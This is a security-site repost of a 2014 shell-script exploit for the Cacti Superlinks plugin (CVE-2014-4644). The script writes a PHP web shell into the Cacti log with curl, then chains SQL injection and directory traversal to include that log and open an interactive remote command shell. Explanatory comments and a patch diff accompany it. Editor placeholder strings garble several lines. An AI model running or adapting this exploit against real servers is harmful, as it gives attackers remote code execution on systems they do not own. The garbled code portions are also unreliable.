首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cacti Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection Exploit
来源:vfocus.net 作者:Wireghoul 发布时间:2014-12-22  
#!/bin/sh
##############
# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection
# Date: 19/12/2014
# Exploit Author: Wireghoul
# Software Link: http://docs.cacti.net/plugin:superlinks
# Identifiers: CVE-2014-4644, EDB-ID-33809
# Exploit explanation through inline comments
# Patch provided at the end
#
# This is the year where hope fails you -- Slipknot: Pulse of the maggots
#
##############

echo -e "\e[32m            *-*,      \e[31m      ___________"
echo -e "\e[32m        ,*\/|\`| ;    \e[31m      /.'_______\`.\\"
echo -e "\e[32m        \\'  | |'; *, \e[31m     /( (_______\`-'\\"
echo -e "\e[32m         \ \`| | ;/ ) \e[31m     \`.\`.______  \.'"
echo -e "\e[32m          : |'| , /   \e[31m      \`..-.___>.'"
echo -e "\e[32m          :'| |, /    \e[31m        \`.__ .'\e[0m"
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"
echo
if [ -z $1 ]; then
  echo -e "Usage ___FCKpd___0 <superpluginurl>\n ___FCKpd___0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";
  exit 2;
fi

# This exploit is a second order LFI through SQLI, so first we must write some data to disk
# Luckily the application logs all sort of stuff, so lets poison the application log
# The reason for this is manyfold, read on.
curl --silent "$1?id=SHELL<?php+passthru(\
___FCKpd___0
GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null # Now lets analyse the vulnerability: # superlinks.php:21:if (isset(
___FCKpd___0
GET['id'])) { # superlinks.php:22: $pageid=
___FCKpd___0
GET['id']; # superlinks.php:23:} # superlinks.php:24: # superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT # superlinks.php:26: id, # superlinks.php:27: title, # superlinks.php:28: style, # superlinks.php:29: contentfile # superlinks.php:30: FROM (superlinks_pages, superlinks_auth) # superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid # superlinks.php:32: AND id=" . $pageid . " # This is where the injection occurs, we can now union select 1,2,3,4 -- ftw # However the real fun occurs a few lines later # superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile']; # superlinks.php:58: # superlinks.php:59: if (file_exists($my_file)) { # superlinks.php:60: @include_once($my_file); # We can now include a file of our choosing (LFI) based on the data returned from the SQLi # There are only a few problems: # * We cannot use strings/quotes as magic quotes are usually on # * We do not know the local path for the LFI # * Usual tricks like /proc/self* have been patched # * Database server and web server may be different hosts # Lets solve the easy one first, we dont need to quote our strings, hex encoding works great # The second one is a little trickier, we can brute force LFI locations... or # We can dynamically locate a file path which is stored in the database and present on the webserver # $ mysqldump cacti | grep '\.log' # INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password',''); # $ ls -la /var/log/cacti/cacti.log # -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log # $ tail /var/log/cacti/cati.log # <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name" # WINRAR! # We can now include the poisoned log file by fetching the log path from the database # and prepending it with the normal directory traversal pattern ../../../ using concat() # We traverse 8 deep, that's usually enough echo -ne "Dropping into shell, type exit to quit.\ncactishell> " while read line; do if [ "$line" == "exit" ]; then exit fi comand=`echo -n $line | sed -e's/ /+/g'` curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \ sed -n '/SHELL/, $p' | \ sed -e 's/.*SHELL//' |\ sed '/LLEHS/, $d' echo -n "cactishell> " done # Proposed patch # Vendor has a patch in a SVN repo somewhere: # http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475 # Yet has not made the patch available, or responded to requests to do so: # http://forums.cacti.net/viewtopic.php?t=53711 #--- superlinks.php 2014-12-18 02:05:37.706013833 -0500 #+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500 #@@ -19,7 +19,7 @@ # # $pageid = 0; # if (isset(
___FCKpd___0
GET['id'])) { #- $pageid=intval(
___FCKpd___0
GET['id']); #+ $pageid=
___FCKpd___0
GET['id']; # } # # $page = db_fetch_row("SELECT DISTINCT

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mediacoder 0.8.33 Build 5680 B
·Ettercap 0.8.0-0.8.1 - Multipl
·Jaangle 0.98i.977 Denial Of Se
·Varnish Cache CLI Interface Re
·ProjectSend r-561 - Arbitrary
·Lotus Mail Encryption Server (
·CodeMeter 4.50.906.503 - Servi
·NotePad++ v6.6.9 Buffer Overfl
·Avira 14.0.7.342 - (avguard.ex
·jetAudio 8.1.3 Basic (mp3) - C
·HTCSyncManager 3.1.33.0 - Serv
·GParted 0.14.1 - OS Command Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved